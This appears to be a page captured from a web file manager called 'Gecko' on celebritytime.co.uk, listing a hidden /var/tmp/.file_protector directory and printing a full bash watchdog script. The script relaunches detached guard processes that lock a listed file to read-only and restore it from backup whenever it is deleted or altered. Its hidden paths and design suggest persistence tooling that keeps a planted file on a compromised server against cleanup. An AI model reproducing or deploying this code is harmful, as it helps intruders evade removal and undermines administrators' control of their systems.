Gecko [ celebritytime.co.uk ]

Name	Size	Permission	Date
cron_jobs.list	143 B	-rw-r--r--	2026-04-07 03:17
file_7ce63deb.checksum	32 B	-rw-r--r--	2026-04-07 03:18
pids.list	180 B	-rw-r--r--	2026-04-07 03:20
protect_file_7ce63deb.sh	1.72 KB	-rwxr-xr-x	2026-04-07 03:17
protected.list	54 B	-rw-r--r--	2026-04-07 03:17
watchdog.pid	8 B	-rw-r--r--	2026-04-25 13:15
watchdog.pid	8 B	-rw-r--r--	2026-04-25 13:15
watchdog.sh	3.42 KB	-rwxr-xr-x	2026-04-07 03:22

Rename

#!/bin/bash
PID_FILE="/var/tmp/.file_protector/pids.list"
PROTECTED_FILES="/var/tmp/.file_protector/protected.list"
CONFIG_DIR="/var/tmp/.file_protector"
BACKUP_DIR="/var/tmp/.file_protector_backups"
LOG_FILE="/var/tmp/.file_protector.log"
WATCHDOG_PID_FILE="/var/tmp/.file_protector/watchdog.pid"

echo $$ > "$WATCHDOG_PID_FILE"
echo "$(date '+%Y-%m-%d %H:%M:%S') [WATCHDOG] Daemon started (PID: $$)" >> "$LOG_FILE"

while true; do
    sleep 15
    [ ! -s "$PROTECTED_FILES" ] && continue
    while IFS= read -r file_path; do
        [ -z "$file_path" ] && continue
        pid_line=$(grep ":$file_path:" "$PID_FILE" 2>/dev/null | head -1)
        [ -z "$pid_line" ] && continue
        old_pid=$(echo "$pid_line" | cut -d: -f1)
        script_path=$(echo "$pid_line" | cut -d: -f6)
        if ! ps -p "$old_pid" >/dev/null 2>&1; then
            file_id="file_$(echo "$file_path" | md5sum | cut -c1-8)"
            last_good_backup="$BACKUP_DIR/${file_id}.lastgood"
            checksum_file="$CONFIG_DIR/${file_id}.checksum"
            if [ ! -f "$script_path" ] && [ -f "$last_good_backup" ]; then
                script_path="$CONFIG_DIR/protect_${file_id}.sh"
                cat > "$script_path" << 'INNER_EOF'
#!/bin/bash
PROTECT_FILE="PLACEHOLDER_FILE"
LAST_GOOD_BACKUP="PLACEHOLDER_BACKUP"
CHECKSUM_FILE="PLACEHOLDER_CHECKSUM"
LOG_FILE="PLACEHOLDER_LOG"
verify_restore() {
    local target="$1" src="$2" reason="$3"
    local dir_path; dir_path=$(dirname "$target")
    echo "$(date '+%Y-%m-%d %H:%M:%S') [RESTORE] $reason" >> "$LOG_FILE"
    [ ! -d "$dir_path" ] && mkdir -p "$dir_path" 2>/dev/null
    cp -p "$src" "$target" 2>/dev/null
    chmod 444 "$target" 2>/dev/null
    if [ -f "$target" ] && [ "$(stat -c %s "$target" 2>/dev/null)" -gt 0 ]; then
        md5sum "$target" 2>/dev/null | cut -d' ' -f1 > "$CHECKSUM_FILE"
    fi
}
while true; do
    sleep 7
    [ ! -e "$PROTECT_FILE" ] && { verify_restore "$PROTECT_FILE" "$LAST_GOOD_BACKUP" "file_deleted"; continue; }
    current_perm=$(stat -c %a "$PROTECT_FILE" 2>/dev/null)
    [[ ! "$current_perm" =~ ^(444|400)$ ]] && chmod 444 "$PROTECT_FILE" 2>/dev/null
    if [ -f "$CHECKSUM_FILE" ]; then
        cc=$(md5sum "$PROTECT_FILE" 2>/dev/null | cut -d' ' -f1)
        sc=$(cat "$CHECKSUM_FILE" 2>/dev/null)
        [ "$cc" != "$sc" ] && verify_restore "$PROTECT_FILE" "$LAST_GOOD_BACKUP" "content_modified"
    fi
done
INNER_EOF
                sed -i "s|PLACEHOLDER_FILE|$file_path|g" "$script_path"
                sed -i "s|PLACEHOLDER_BACKUP|$last_good_backup|g" "$script_path"
                sed -i "s|PLACEHOLDER_CHECKSUM|$checksum_file|g" "$script_path"
                sed -i "s|PLACEHOLDER_LOG|$LOG_FILE|g" "$script_path"
                chmod +x "$script_path"
            fi
            [ ! -f "$script_path" ] && continue
            if command -v setsid >/dev/null 2>&1; then
                nohup setsid bash "$script_path" >/dev/null 2>&1 &
            else
                nohup bash "$script_path" >/dev/null 2>&1 &
            fi
            new_pid=$!
            disown $new_pid 2>/dev/null
            sed -i "|$file_path|d" "$PID_FILE" 2>/dev/null
            echo "$new_pid:$file_path::$(echo "$pid_line" | cut -d: -f4):bash_loop:$script_path" >> "$PID_FILE"
            echo "$(date '+%Y-%m-%d %H:%M:%S') [WATCHDOG] Restarted: $file_path (old=$old_pid new=$new_pid)" >> "$LOG_FILE"
        fi
    done < "$PROTECTED_FILES"
done